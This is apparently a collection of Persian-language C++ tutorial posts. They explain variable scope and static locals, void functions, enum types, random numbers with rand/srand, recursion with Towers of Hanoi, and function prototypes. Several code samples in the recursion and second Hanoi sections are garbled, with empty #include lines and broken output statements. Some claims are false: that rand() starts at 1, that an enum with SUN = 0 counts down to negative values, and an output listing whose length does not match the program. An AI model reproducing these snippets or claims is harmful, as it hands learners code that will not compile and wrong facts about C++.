اگر برنامه فوق را بنويسيم و بخواهيم اجرا کنيم پيغام خطای Undefined symbol 'x' را دريافت خواهيم کرد ودليل اين امر اين است که متغير x فقط در بلوک درونی تابع main تعريف شده است، لذا در خود تابع قابل دسترسی نمی باشد. در اين مبحث به بررسی حوزه تابع، حوزه فايل و حوزه بلوک می پردازيم.
متغیری که خارج از همه توابع تعریف می شود، دارای حوزه فایل می باشد و چنین متغیری برای تمام توابع، شناخته شده وقابل استفاده می باشد. به مثال زیر توجه کنید:
#include <iostream.h>
int x=1;
int f();
void main( )
{
cout << x;
cout << f();
cout << x;
}
int f(){
return 2*x;
}
متغیر x دارای حوزه فایل می باشد. لذا در تابع main و تابع f قابل استفاده می باشد. خروجی برنامه فوق به صورت زير می باشد.
121
متغیری که درون توابع و یا به عنوان آرگومان تابع تعریف می گردد، دارای حوزه تابع می باشد و از نوع متغیرهای محلی است و خارج ازتابع قابل استفاده و دسترسی نمی باشد. توابعی که تا کنون نوشتیم ومتغیرهایی که در آن ها تعریف کردیم، همگی دارای حوزه تابع بودند. ضمنا این متغیرها، هنگامی که برنامه از آن تابع خارج می شود، مقادیر خود را از دست می دهند. حال اگر بخواهیم یک متغیر محلی تابع، مقدار خود را حفظ کرده و برای دفعات بعدی فراخوانی تابع نیز نگه دارد، زبان ++c کلمه static را در اختیار ما قرار داده است. کلمه static را باید قبل از نوع متغیر قرار دهیم. مانند:
static int x=1;
دستور فوق متغیر x را از نوع عدد صحیح تعریف می کند و این متغیر با اولین فراخوانی تابع مقدار دهی می شود و در دفعات بعدی فراخوانی تابع مقدار قبلی خود را حفظ می کند. به مثال زیر توجه کنید:
#include <iostream.h>
int f();
void main( )
{
cout << f();
cout << f();
cout << f();
}
int f(){
static int x=0;
x++;
return x;
}
خروجی برنامه فوق به صورت زیر می باشد:
123
برنامه با اولین فراخوانی تابع f به متغیر محلی x مقدار 0 را می دهد، سپس به x یک واحد اضافه می شود و به عنوان خروجی برگردانده می شود. پس ابتدا عدد1 چاپ می گردد. در بار دوم فراخوانی تابع f ، متغیر x دوباره مقداردهی نمی شود، بلکه به مقدار قبلی آن که عدد 1 است، یک واحد اضافه گشته و به عنوان خروجی برگردانده می شود. پس این بار عدد 2 چاپ می گردد و در نهایت با فراخوانی تابع f برای بار سوم عدد 3 چاپ خواهد شد. اگر برنامه فوق را بدون کلمه static بنويسيم، خروجی 111 خواهد بود.
یکی از نکاتی که می توان در قوانین حوزه بررسی کرد، متغیرهای همنام در بلوک های تو در تو می باشد. به مثال زیر توجه کنید:
#include <iostream.h>
void main( )
{
int x=1;
cout << x;
{
int x= 2;
cout << x;
}
cout << x;
}
در برنامه فوق متغیر x یک بار در تابع main تعریف شده است و با دیگر در بلوک درونی. خروجی برنامه به صورت زیر می باشد:
121
هنگامی که در بلوک درونی متغیری با نام x را مجددا تعریف می کنیم، متغیر خارج از بلوک از دید برنامه پنهان می گردد و تنها متغير داخل بلوک قابل استفاده می شود. همچنین هنگامی که برنامه از بلوک خارج می گردد، متغیر x بیرونی دوباره قابل استفاده می گردد. ضمنا توجه داشته باشید که مقدار متغیر x تابع main تغییری نکرده است، یعنی با وجود استفاده از متغیری همنام و نیز مقداردهی آن، تاثیری روی متغیر x تابع ایجاد نشده است. چون حوزه متغیر x بلوک درونی تنها داخل آن بلوک می باشد.
برنامه زیر تمام موارد ذکر شده در این مبحث را شامل می شود. بررسی آن و خروجی برنامه شما را در فهم بهتر این مبحث یاری می نماید.
#include <iostream.h>
void useLocal( void ); // function prototype
void useStaticLocal( void ); // function prototype
void useGlobal( void ); // function prototype
int x = 1; // global variable
void main()
{
int x = 5; // local variable to main
cout <<"local x in main's outer scope is "<<x<<endl;
{ // start new scope
int x = 7;
cout <<"local x in main's inner scope is "<<x<<endl;
} // end new scope
cout <<"local x in main's outer scope is "<<x<< endl;
useLocal(); //useLocal has local x
useStaticLocal(); //useStaticLocal has static local x
useGlobal(); //useGlobal uses global x
useLocal(); //useLocal reinitializes its local x
useStaticLocal();//static local x retains its prior value
useGlobal(); //global x also retains its value
cout << "\nlocal x in main is " << x << endl;
} // end main
//useLocal reinitializes local variable x during each call
void useLocal( void )
{
int x = 25; //initialized each time useLocal is called
cout << endl << "local x is " << x
<< " on entering useLocal" << endl;
++x;
cout << "local x is " << x
<< " on exiting useLocal" << endl;
} // end function useLocal
// useStaticLocal initializes static local variable x
// only the first time the function is called; value
// of x is saved between calls to this function
void useStaticLocal( void )
{
// initialized first time useStaticLocal is called.
static int x = 50;
cout << endl << "local static x is " << x
<< " on entering useStaticLocal" << endl;
++x;
cout << "local static x is " << x
<< " on exiting useStaticLocal" << endl;
} // end function useStaticLocal
// useGlobal modifies global variable x during each call
void useGlobal( void )
{
cout << endl << "global x is " << x
<< " on entering useGlobal" << endl;
x *= 10;
cout << "global x is " << x
<< " on exiting useGlobal" << endl;
} // end function useGlobal
خروجی برنامه به صورت زیر می باشد:
local x in main's outer scope is 5
local x in main's inner scope is 7
local x in main's outer scope is 5
local x is 25 on entering useLocal
local x is 26 on exiting useLocal
local static x is 50 on entering useStaticLocal
local static x is 51 on exiting useStaticLocal
global x is 1 on entering useGlobal
global x is 10 on exiting useGlobal
local x is 25 on entering useLocal
local x is 26 on exiting useLocal
local static x is 51 on entering useStaticLocal
local static x is 52 on exiting useStaticLocal
global x is 10 on entering useGlobal
global x is 100 on exiting useGlobal
local x in main is 5
در برنامه فوق سه تابع با نام های useLocal ,useGlobal ,useStaticLocal داریم. متغیر x تعریف شده در ابتدای برنامه با مقدار 1 به عنوان یک متغیر عمومی می باشد و دارای حوزه فایل است. در تابع main، متغیر x با مقدار 5 تعریف شده است. لذا متغیر عمومی x با مقدار 1 نادیده گرفته می شود و هنگام اجرای دستور cout ، متغير x با مقدار 5 در خروجی چاپ می شود. در بلوک درونی، متغیر x با مقدار 7 تعریف شده است. لذا x عمومی و x محلی تابع main نادیده گرفته می شوند و تنها x با مقدار 7 توسط دستور cout چاپ می گردد. پس از آنکه بلوک حوزه x با مقدار 7 به اتمام می رسد، دوباره x محلی تابع main با مقدار 5 نمایان می گردد.
تابع useLocal متغیر محلی x را با مقدار 25 در خود تعریف می کند. هنگامی که این تابع در برنامه فراخوانی می شود، تابع ، متغیر x را چاپ می کند، سپس یک واحد به آن اضافه کرده و دوباره x را چاپ می کند. هر بار که این تابع فراخوانی می شود، متغیر x با مقدار 25 در آن تعریف می شود و هنگام خروج از تابع از بین می رود.
تابع useStaticLocal متغیرمحلی x را از نوع static تعریف کرده و با عدد 50 مقداردهی می کند و سپس آن را چاپ کرده و یک واحد به آن اضافه می کند و دوباره چاپش می کند. اما هنگام خروج از تابع مقدار x از بين نمی رود. و با فراخوانی مجدد تابع ، مقدار قبلی متغير x محلی ، برای اين تابع موجود می باشد و دوباره از نو مقداردهی نمی شود. در اينجا هنگامی که تابع دوباره فراخوانی می شود، x حاوی 51 خواهد بود.
تابع useGlobal هيچ متغيری را در خود تعريف نمی کند. لذا هنگامی که به متغير x مراجعه می کند ، متغيرx عمومی مورد استفاده قرار می گيرد. هنگامی که اين تابع فراخوانی می شود مقدار متغير x عمومی چاپ می شود. سپس در 10 ضرب شده و دوباره چاپ می گردد. هنگامی که برای بار دوم تابع useGlobal فراخوانی می شود x عمومی حاوی عدد 100 می باشد.
پس از اينکه برنامه هر يک از توابع فوق را دوبار فراخوانی کرد ، مجددا متغير x تابع main با مقدار 5 چاپ می گردد و اين نشان می دهد که هيچ يک از توابع ، تاثيری روی متغير محلی تابع main نداشتند.
نظرات ()در برنامه نويسی به توابعی نياز پيدا می کنيم که نياز ندارند چيزی را به عنوان خروجی تابع برگردانند و يا توابعی که نياز به آرگومان و ورودی ندارند ويا هر دو. زبان ++C برای امکان استفاده از چنين توابعی، کلمه void را در اختيار ما قرار داده است. اگر بخواهيم تابعی بدون خروجی ايجاد کنيم کافی است به جای نوع داده خروجی تابع کلمه void را قرار دهيم. به تابع زير توجه کنيد.
void function (int num)
{
cout << "My input is" << num << endl;
}
همانطور که می بينيد اين تابع نيازی به استفاده از دستور return ندارد چون قرار نيست چيزی را به عنوان خروجی تابع برگرداند. تابع فوق بر اساس مقدار داده ورودی، پيغامی را بر روی صفحه نمايش چاپ می کند.
حال که با void آشنا شديد می توانيم از اين به بعد تابع main را از نوع void تعريف کنيم. در اين صورت ديگر نيازی به استفاده از دستور return 0;در انتهای برنامه نداريم :
void main()
{
دستورات برنامه
}
به عنوان مثال برنامه برج هانوی را که در مبحث توابع بازگشتی نوشتيم با استفاده از نوع void بازنويسی می کنيم.
#include <iostream.h>
void hanoi(int, char, char, char);
void main( )
{
cout<<"Moving 4 disks form tower A to C."<<endl;
hanoi(4,'A','B','C');
}
void hanoi(int n, char first, char help, char second) {
if (n == 1) {
cout << "Disk " << n << " from tower " << first
<< " to tower " << second << endl;
} else {
hanoi(n-1, first, second, help);
cout << "Disk " << n << " from tower " << first
<< " to tower " << second << endl;
hanoi(n-1, help, first, second);
}
}
همانطور که در برنامه فوق می بينيد تابع hanoi بدون دستور return نوشته شده است، زيرا نوع تابع void می باشد، يعنی تابع بدون خروجی است و توابع بدون خروجی را می توانيم مستقيماً همانند برنامه فوق فراخوانی کنيد. يعنی کافی است نام تابع را همراه آرگومانهای مورد نظر بنويسيم.
برای ايجاد توابع بدون آرگومان می توانيد در پرانتز تابع کلمه void را بنويسيد يا اينکه اين پرانتز را خالی گذاشته و در آن چيزی ننويسيد.
void function1();
int function2(void);
در دو دستور فوق تابع function1 از نوع توابع بدون خروجی و بدون آرگومان ايجاد می شود. و تابع function2 از نوع توابع بدون آرگومان و با خروجی از نوع عدد صحيح می باشد، برای آشنايی با نحوه کاربرد توابع بدون آرگومان به برنامه زير توجه کنيد :
#include <iostream.h>
int function(void);
void main( )
{
int num, counter = 0;
float average, sum = 0;
num=function();
while (num != -1){
sum += num ;
++counter;
num=function();
}
if (counter != 0){
average = sum / counter;
cout << "The average is " << average << endl;
}
else
cout << "No numbers were entered." << endl;
}
int function(void){
int x;
cout << "Enter a number (-1 to end):";
cin >>x;
return x;
}
همانطور که در برنامه فوق مشاهده می کنيد تابع function از نوع توابع بدون آرگومان می باشد و دارای خروجی صحيح می باشد. اين تابع در برنامه دو بار فراخوانی شده است و وظيفه اين تابع دريافت متغيری از صفحه کليد و برگرداندن آن متغير به عنوان خروجی تابع می باشدو دستور num=function() عدد دريافت شده از صفحه کليد را در متغير num قرار می دهد اگر به ياد داشته باشيد اين برنامه قبلاً بدون استفاده از تابع در مبحث ساختار تکرار while نوشته بوديم. برای درک بهتر اين برنامه توصيه می شود آن را با برنامه موجود در مبحث ساختار تکرار while مقايسه کنيد، و متوجه خواهيد شد که تابع function ما را از دوباره نويسی بعضی از دستورات بی نياز کرده است و نيز برنامه خلاصه تر و مفهوم تر شده است.
نظرات ()enum يک نوع داده ای تعريف شده توسط برنامه نويس را که به آن نوع داده شمارش می گويند، ايجاد می کند. نحوه ايجاد يک نوع داده شمارش به صورت زير می باشد.
enum {ثابت n و ... و ثابت 2 و ثابت 1} نام نوع داده
اين دستور به ترتيب در ثابت 1 ، ثابت 2 و ... و ثابتn اعداد صحيح متوالی 0 تا n را قرار می دهد . به صورت پيش فرض مقداردهی متغيرها در اين دستور از صفر شروع می شود.
enum TrueFalse {FALSE , TRUE}
دستور فوق به ثابت FALSE ، عدد صفر و به ثابت TRUE عدد 1 را تخصيص می دهد. حال اگر بخواهيم مقداردهی از عددی غير از صفر شروع شود بايد عدد مورد نظر را مشخص کنيم :
enum Days {SAT = 1, SUN, MON, TUE, WED, THU, FRI}
دستور فوق به روزهای هفته به ترتيب اعداد 1 تا 7 را نسبت می دهد. توصيه می شود که نام ثابت های شمارشی را با حروف بزرگ بنويسيد ، بدين صورت اين ثابتها با متغيرهای برنامه ، اشتباه نمی شوند. ضمناً enum را در ابتدای برنامه به کار ببريد.
در حقيقت اين نوع داده به هر يک از موارد ليستی از اعداد نامی را نسبت می دهد. به عنوان نمونه در مثال روزهای هفته هر يک از اعداد 1 تا 7 را با يکی از روزهای هفته نام گذاری کرديم.
مقدار دهی موارد ليست به صورت های مختلف امکان پذير می باشد.
enum Days { MON, TUE, WED, THU, FRI, SAT , SUN = 0}
دستور فوق SUN را با عدد صفر و SAT را با عدد 1- و ... و MON را با عدد -6 مقدار دهی می کند.
enum Colors {BLACK = 2, GREEN = 4, RED = 3,
BLUE = 5, GRAY,WHITE = 0}
در دستور فوق هر يک از موارد با عدد نسبت داده شده مقدار دهی می شوند و GRAY با عدد 6 مقدار دهی می شود چون بعد از BLUE = 5 آمده است.
به محض ساخته شدن ليست ، نوع داده نوشته شده توسط برنامه نويس قابل استفاده می گردد و می توان متغيرهايی را از نوع داده نوشته شده توسط برنامه نويس به همان شيوه ای که ساير متغيرها را تعريف می کرديم، تعريف کرد. به عنوان مثال :
TrueFalse tf1,tf2;
Days day1, day2 = SUN;
Colors color1 = BLACK , color2 = GRAY;
همچنين متغيرها را می توان هنگام ايجاد نوع داده، تعريف کرد. به عنوان مثال :
TrueFalse {FALSE, TRUE} tf1 ,tf2;
نکته : تبديل داده ای از نوع enum به عدد صحيح مجاز می باشد ولی بر عکس اين عمل غير مجاز است. به عنوان مثال :
enum MyEnum {ALPHA, BETA, GAMMA};
int i = BETA;
int j = 3+GAMMA;
دستورات فوق مجاز می باشند، و اين دستورات عدد 1 را در i و 5 را در j قرار می دهند.
enum MyEnum {ALPHA, BETA, GAMMA};
MyEnum x = 2;
MyEnum y = 123;
ولی دستورات فوق غير مجاز می باشند. البته بعضی از کامپايلرها اين موضوع را ناديده می گيرند و تنها يک پيغام اخطار می دهند ولی توصيه می شود که برای پيشگيری از وقوع خطاهای منطقی در برنامه از به کار بردن دستوراتی مانند کدهای فوق خودداری کنيد.
برنامه زير نحوه کاربرد نوع داده enum را نشان می دهد.
#include <iostream.h>
int main()
{
enum PizzaSize{SMALL,MEDIUM,LARGE,EXTRALARGE};
PizzaSize size;
size=LARGE;
cout<<"The small pizza has a value of "<<SMALL;
cout<<"\nThe medium pizza has a value of "<<MEDIUM;
cout<<"\nThe large pizza has a value of "<<size;
return 0;
}
خروجی برنامه به صورت زير می باشد:
The small pizza has a value of 0
The medium pizza has a value of 1
The large pizza has a value of 2
نظرات ()يکی از کاربردهای اساسی کامپيوتر، استفاده از آن در کارهای شبيه سازی می باشد. در اينجا به بررسی نحوه توليد اعداد تصادفی می پردازيم. اعداد تصادفی در مسائل شبيه سازی کاربرد فراوانی دارند، به عنوان مثال شبيه سازی پرتاب سکه، پرتاب تاس و مسائلی از اين قبيل.
برای توليد اعداد تصادفی زبان ++C تابعی با نام rand() را که در فايل کتابخانه ای stdlib.h قرار دارد، در اختيار ما گذاشته است. به عنوان مثال دستور زير :
i = rand();
يک عدد تصادفی بين 1 تا 32767 را در متغير i قرار می دهد . تابع rand() اعداد را با احتمال مساوی در اين بازه انتخاب می کند پس شانس انتخاب هر عددی در اين بازه با اعداد ديگر برابر است.
معمولاً بازه اعدادی که توسط تابع rand توليد می شود، با آنچه که مورد نياز ماست متفاوت می باشد. به عنوان مثال برای شبيه سازی پرتاب سکه به دو عدد تصادفی و برای تاس به شش عدد تصادفی نياز داريم. فرض کنيد که می خواهيد عدد 31250 را به عددی بين 1 تا 6 تبديل کنيد. چه راه کاری را در نظر می گيريد؟ راهی که برای اين تبديل وجود دارد استفاده از باقيمانده صحيح می باشد، همانطور که می دانيد باقيمانده صحيح تقسيم هر عددی بر 6 يکی از اعداد 0 تا 5 می باشد. پس با اضافه کردن 1 واحد به باقيمانده ، عددی بين 1 تا 6 خواهيم داشت. به عنوان مثال در کادر زير عددی بين 1 تا 32767 وارد کنيد و با کليک بر روی دکمه محاسبه خروجی ، نتيجه محاسبه را ببينيد :
حال اگر به جای متغير a ، تابع rand() را قرار دهيم عبارت rand()%6+1 عددی تصادفی بين 1 تا 6 به ما می دهد به طور کلی برای بدست آوردن عددی تصادفی در بازه [a,b] می توانيم از فرمول زير استفاده کنيم.
rand()%(b-a+1)+a
به عنوان مثال خروجی قطعه برنامه زير عدد صحيحی در بازه [20,100] می باشد.
int a = 20 , b = 100;
cout<< rand()%(b-a+1)+a;
برنامه زير 20 عدد تصادفی بين 1 تا 6 را ايجاد می کند. که اين برنامه را می توان 20 بار پرتاب يک تاس در نظر گرفت :
#include <iostream.h>
#include <stdlib.h>
int main()
{
for (int i = 1; i<= 20; i++ )
{
cout << rand() % 6 + 1<<"\t";
if ( i % 5 == 0 )
cout << endl;
}
return 0;
}
خروجی برنامه فوق به صورت زير می باشد :
5 5 3 5 5
2 4 2 5 5
5 3 2 2 1
5 1 4 6 4
يک بار ديگر برنامه فوق را اجرا کنيد و خروجی را مجدداً بررسی کنيد. خواهيد ديد خروجی دقيقاً همان اعداد قبلی می باشد. خروجی تابع rand() اعداد تصادفی می باشد ولی با اجرای دوباره برنامه همان اعداد مجدداً به همان ترتيب قبلی تکرار می شوند. اين تکرار يکی از قابليتهای تابع می باشد ودر اشکال زدايی برنامه کاربرد دارد.
اگر بخواهيم که تابع rand() اعداد کاملاً تصادفی ايجاد کند بايد از تابع srand() استفاده کنيم. اين تابع ورودی از نوع اعداد صحيح بدون علامت می گيرد و باعث تصادفی شدن تابع rand() بر اساس مقدار ورودی تابع srand() می شود. تابعsrand() نيز در فايل کتابخانه ای stdlib.h قرار دارد. در برنامه زير به نحوه استفاده از تابع srand() پی خواهيد برد.
#include <iostream.h>
#include <stdlib.h>
int main()
{
unsigned int num;
cout<<"Enter a number: ";
cin>>num;
srand(num);
for (int i = 1; i<= 20; i++ )
{
cout << rand() % 6 + 1<<"\t";
if ( i % 5 == 0 )
cout << endl;
}
return 0;
}
خروجی برنامه به صورت زير می باشد.
3 4 1 4 6
6 4 6 2 5
5 3 1 4 5
1 6 6 6 1
1 4 3 4 1
2 6 2 6 2
4 2 5 3 5
4 4 5 2 3
3 4 1 4 6
6 4 6 2 5
5 3 1 4 5
1 6 6 6 1
همانطور که می بينيد بر اساس ورودی های مختلف خروجی نيز تغيير می کند. توجه داشته باشيد که ورودی های يکسان خروجی های يکسانی دارند.
اگر بخواهيم بدون نياز به وارد کردن عددی توسط کاربر، اعداد تصادفی داشته باشيم می توانيم از تابع time که در فايل کتابخانه ای time.h قرار دارد استفاده کنيم . تابع time ساعت کامپيوتر را می خواند و زمان را بر حسب ثانيه بر می گرداند ، به اين ترتيب دستور زير:
srand(time(0));
باعث می شود که تابع rand() در هر بار اجرای برنامه اعداد متفاوتی را ايجاد کند. اگر برنامه فوق را به صورت زير باز نويسی کنيم با هر بار اجرای برنامه اعداد تصادفی متفاوتی خواهيم داشت.
#include <iostream.h>
#include <stdlib.h>
#include <time.h>
int main()
{
srand(time(0));
for (int i = 1; i<= 20; i++ )
{
cout << rand() % 6 + 1<<"\t";
if ( i % 5 == 0 )
cout << endl;
}
return 0;
}
مثال : برنامه ای بنويسيد که پرتاب سکه ای را شبيه سازی کند ، بدين صورت که سکه را 2000 بار پرتاب کند و دفعات رو يا پشت آمدن سکه را چاپ کند.
#include <iostream.h>
#include <stdlib.h>
#include <time.h>
int main()
{
int back=0,front=0,face;
srand(time(0));
for (int i = 1; i<= 2000; i++ )
{
face=rand()%2+1;
switch(face)
{
case 1:
++back;
break;
case 2:
++front;
break;
default:
cout<<"Error!";
}
}
cout<<"Front: "<< front<<endl;
cout<<"Back : "<< back<<endl;
return 0;
}
نظرات ()برنامه هايی که تا کنون نوشتيم يک تابع، تابع ديگری را فراخوانی می کرد. در برنامه نويسی ممکن است نياز پيدا کنيم که تابعی خودش را به صورت مستقيم يا غير مستقيم فراخوانی کند. به چنين توابعی، توابع بازگشتی گفته می شود . ابتدا از ديد رياضياتی توابع بازگشتی را بررسی می کنيم. دنباله اعداد زير را در نظر بگيريد :
2 , 5 , 11 , 23 , ...
جمله پنجم دنباله اعداد فوق چه عددی می باشد؟ حدس شما چيست؟ اگر کمی دقت کنيد متوجه خواهيد شد که هر جمله از دنباله فوق برابر است با دو برابر جمله قبلی بعلاوه يک. پس جمله پنجم برابر است با 2*23+1=47 دنباله فوق را توسط فرمول زير نيز می توان مشخص کرد :
d1 = 2
dn = 2*dn-1+1
همانطور که متوجه شده ايد در اين دنباله هر جمله به جملات قبلی خود وابسته است و برای بدست آوردن آن نياز به بازگشت روی جملات قبلی داريم تا اينکه سرانجام به جمله اول که عدد 2 می باشد برسيم. فرمول فوق را به صورت تابعی زير بازنويسی می کنيم :
d(1) = 2
d(n) = 2*d(n-1)+1
همانطور که در تابع فوق می بينيد يک حالت پايه وجود دارد که همان d(1)=2 می باشد و يکه حالت بازگشتی که تابع با يک واحد کمتر دوباره فراخوانی می شود d(n) = 2*d(n-1)+1 . توابع بازگشتی به طور کلی دارای يک يا چند حالت پايه و يک بخش بازگشتی می باشند. که معمولاً در بخش بازگشتی تابع با مقداری کمتر مجدداً فراخوانی می شود. تابع بازگشتی فوق به زبان ++C به صورت زير می باشد :
long int d(long int n)
{
if (n == 1)
return 2;
else
return 2*d(n-1)+1;
}
در زير برنامه ای می نويسيم تا با استفاده از تابع فوق 20 جمله اول دنباله مذکور را نمايش دهد.
#include
long int d(long int);
int main( )
{
for (int i=1;i<=20;i++)
{
cout<<<"\t";
if (i%5==0) cout<
}
return 0;
}
long int d(long int n)
{
if (n == 1)
return 2;
else
return 2*d(n-1)+1;
}
2 5 11 23 47
95 191 383 767 1535
3071 6143 12287 24575 49151
98303 196607 393215 786431 1572863
تابع، بازگشت را تا رسيدن به حالت پايه ادامه می دهد و به محض رسيدن به حالت پايه محاسبات بازگشتی پی در پی موجب رسيدن به جواب مورد نظر می شود.
مسئله برجهای هانوی (Towers of Hanoi)
هر برنامه نويسی بايد به نحوی با مسائل کلاسيک دست وپنجه نرم کرده باشد
. يکی از معروفترين مسائل کلاسيک ، مسئله برجهای هانوی می باشد. طبق افسانه ای در
معبدی در شرق دور، کاهنان معبدی تعدادی ديسک را از يک ستون به ستون ديگر جا به جا
می کردند . ستون اول در ابتدا دارای 64 ديسک با اندازه های مختلف می باشد، که
بزرگترين ديسک در پايين ستون و کوچکترين ديسک در بالای ستون قرار دارد. کاهنان بايد
همه ديسکها را از يک ستون به ستون دوم منتقل می کردند. با اين شرط که در هر بار جا
به جايی تنها يک ديسک منتقل شود و نيز ديسک بزرگتری روی ديسک کوچکتر قرار نگيرد.
ضمناً ستون سومی به عنوان ستون کمکی در اختيار آنها می باشد. گويند هنگامی که
کاهنان معبد همه 64 ديسک را با روش گفته شده از ستون اول به ستون دوم منتقل کنند
جهان به پايان می رسد.
برای راحتی کار کاهنان و برای اينکه دچار اشتباه و دوباره کاری در انتقال نشوند می خواهيم برنامه ای بنويسيم که ترتيب انتقال ديسکها را چاپ کند.
برای نوشتن اين برنامه ، مسئله را بايد با ديد بازگشتی نگاه کنيم . انتقال n ديسک را به شيوه زير انجام می دهيم :
1- ابتدا n-1 ديسک را از ستون اول به ستون دوم به کمک
ستون سوم منتقل کن.
2- ديسک آخر (بزرگترين ديسک) را از ستون اول به ستون
سوم منتقل کن.
3- n-1 ديسک قرار گرفته در ستون دوم را به کمک ستون
اول به ستون سوم منتقل کن.
مراحل انجام کار هنگام انتقال آخرين ديسک يعنی وقتی که n=1 می باشد، يعنی حالت پايه به اتمام می رسد. در حالت n=1 يک ديسک بدون کمک ستون کمکی به ستون ديگر منتقل می شود.
تابع بازگشتی مورد استفاده برای حل مسئله برجهای هانوی را با چهار آرگومان می نويسيم.
1- تعداد ديسکها
2- ستون مبدأ
3- ستون
کمکی
4- ستون مقصد
تابع هانوی و برنامه ای که در آن اين تابع مورد استفاده قرار گرفته است به صورت زير می باشد :
#include
int hanoi(int, char, char, char);
int main( )
{ int disks;
cout<<"Moving disks form tower A to C."<
cout<<"How many disks do you want to move?";
cin>>disks;
cout<<
return 0;
}
int hanoi(int n, char first, char help, char second)
{
if (n == 1) {
cout << "Disk " << n << " from tower " << first
<< " to tower " << second << endl;
}
else {
hanoi(n-1, first, second, help);
cout << "Disk " << n << " from tower " << first
<< " to tower " << second << endl;
hanoi(n-1, help, first, second);
}
return 0;
}
خروجی برنامه با فرض اينکه می خواهيم مراحل انتقال چهار ديسک را ببينيم به صورت زير می باشد :
Moving disks form tower A to C.
How many disks do you want to move?4
Disk 1 from tower A to tower B
Disk 2 from tower A to tower C
Disk 1 from tower B to tower C
Disk 3 from tower A to tower B
Disk 1 from tower C to tower A
Disk 2 from tower C to tower B
Disk 1 from tower A to tower B
Disk 4 from tower A to tower C
Disk 1 from tower B to tower C
Disk 2 from tower B to tower A
Disk 1 from tower C to tower A
Disk 3 from tower B to tower C
Disk 1 from tower A to tower B
Disk 2 from tower A to tower C
Disk 1 from tower B to tower C
0
روال فراخوانی تابع هانوی به صورت شکل زير می باشد:
نظرات ()تا به حال توابع مورد استفاده در برنامه هايمان را قبل از اولين فراخوانی آنها تعريف کرديم و اين فراخوانی معمولا در تابع main بود. لذا تابع main را به عنوان آخرين تابع در برنامه نوشتيم. اگر بخواهيد که تابع main را قبل از هر تابع ديگری در برنامه بنويسيد. هنگام اجرای برنامه يک پيغام خطا دريافت خواهيد کرد. دليل وقوع خطا اين است که هنگامی که تابعی فراخوانی می شود بايد قبلا تعريف شده باشد، مانند شيوه ای که ما در برنامه های قبلی استفاده کرديم.
يک راه چاره برای اجتناب از نوشتن کد همه توابع قبل از استفاده آنها در تابع main يا ساير توابع وجود دارد. اين راهکار پيش تعريف توابع می باشد. پيش تعريف تابع به صورت زير می باشد:
نوع آرگومانهای تابع ) نام تابع نوع داده خروجی );
توجه داشته باشيد که پيش تعريف تابع شامل دستورات تابع نمی شود و تنها شامل نوع داده خروجی ، نام تابع و نوع آرگومانها می باشد و در پايان نياز به علامت (;) دارد. به عنوان مثال پيش تعريف تابع power2 در مبحث قبلی به صورت زير می باشد:
long int power2( int );
ويا پيش تعريف تابع maximum به صورت زير است :
int maximum( int, int, int );
در اينجا برنامه تابع maximum در مبحث قبلی را با روش پيش تعريف تابع باز نويسی می کنيم :
#include <iostream.h>
int maximum (int ,int,int);
int main ()
{
int num1,num2,num3;
cout << "Enter three numbers: ";
cin >> num1>>num2>>num3;
cout << "Max is :"
<< maximum(num1,num2,num3)<<endl;
cout << "Max of 5,20,1 is "
<< maximum(5,20,1)<<endl;
return 0;
}
int maximum (int x,int y, int z)
{
int max=x;
if (y>max)
max=y;
if (z>max)
max=z;
return max;
}
Enter three numbers: -5 20 150
Max is :150
Max of 5,20,1 is 20
همانطور که در برنامه می بينيد، تابع main قبل از تابع maximum نوشته شده است و اين امکانی است که پيش تعريف تابع maximum به ما داده است.
نکته: در بعضی از برنامه ها، نياز پيدا می کنيم که دو تابع يکديگر را فراخوانی کنند. در چنين حالتی ملزم به استفاده از پيش تعريف تابع می باشيم. اما به عنوان يک توصيه برنامه نويسی همواره از پيش تعريف توابع استفاده کنيد ، حتی اگر ملزم به استفاده از آن نبوديد.
نظرات ()اکثر برنامه های کاربردی ، خيلی بزرگتر از برنامه هايی می باشند که ما تا اکنون در مباحث قبلی نوشته ايم. تجربه نشان داده است که بهترين راه برای گسترش و نگهداری و ارتقاء برنامه های بزرگ، تقسيم کردن آنها به قطعات کوچکتر می باشد. هر کدام از قطعات راحتتر از برنامه اصلی مديريت می شوند و اعمال تغييرات و خطايابی در آنها نيز ساده تر می باشد. قطعات مورد نظر ما در زبان ++C همان توابع می باشند. اگر بياد داشته باشيد در مباحث قبلی گفتيم که main نيز يک تابع می باشد و اين تابع نقطه ای است که برنامه اجرای دستورات را از آن آغاز می کند. زبان ++C توابع آماده زيادی را در اختيار ما قرار داده که در فايلهای کتابخانه ای اين زبان موجود می باشند، که گوشه ای از آنها را در مبحث قبل ديديد. در برنامه نويسی ممکن است که نياز داشته باشيم مجموعه دستوراتی را عيناً در چند جای برنامه استفاده کنيم، در چنين حالتی بهتر است اين مجموعه دستورات را در تابعی قرار دهيم و تابع را در برنامه چندين باز صدا بزنيم و از تکرار دستورات که تنها حجم برنامه اصلی را زياد می کنند و از خوانايی آن می کاهند خودداری کنيم.
در زبان ++C توابع به شيوه زير تعريف می شوند :
آرگومانهای تابع) نام تابع نوع داده خروجی)
{
تعريف متغيرها
دستورات تابع
}
نام تابع از قواعد نام گذاری متغيرها پيروی می کند. برای آشنا شدن با نحوه تعريف توابع و شيوه به کار گيری آنها به برنامه زير توجه کنيد:
#include <iostream.h>
long int power2 (int x)
{
long int y;
y=x*x;
return y;
}
int main ()
{
for (int i=1;i<=10;i++)
cout<<power2(i)<<" ";
return 0;
}
خروجی برنامه مربع اعداد 1 تا 10 می باشد.
1 4 9 16 25 36 49 64 81 100
تابع power2(x) که در اين برنامه نوشتيم تقريباً شبيه تابع pow(x,2) از توابع کتابخانه ای ++C عمل می کند. ضابطه رياضياتی اين تابع f(x) = x2 می باشد. ورودی اين تابع اعداد صحيح (int) و خروجی آن اعداد بزرگ (long int) می باشد. هنگامی که برنامه به تابع power2(i) می رسد تابع فراخوانی می شود و مقدار آرگومان i را دريافت می کند و در متغيرx قرار می دهد. سپس متغير y تعريف می گردد و مقدار x*x در y قرار می گيرد و سرانجام مقدار y به عنوان خروجی تابع برگردانده می شود و توسط دستور cout چاپ می گردد. توجه داشته باشيد که تابع تغييری در مقدار متغير i ايجاد نمی کند و حلقه for تابع را 10 بار فراخوانی می کند، ضمناً متغيرهای x وy در تابع main قابل استفاده نمی باشند و نيز متغير i در تابع power2 تعريف نشده است.
نکته : توجه داشده باشيد که توابع داخل يکديگر قابل تعريف نمی باشند و جدا از هم بايد تعريف گردند.
مثال : تابعی بنويسيد که سه عدد را به عنوان ورودی دريافت کرده و بزرگترين آنها را به عنوان خروجی برگرداند. اين تابع را در برنامه ای به کار ببريد.
#include <iostream.h>
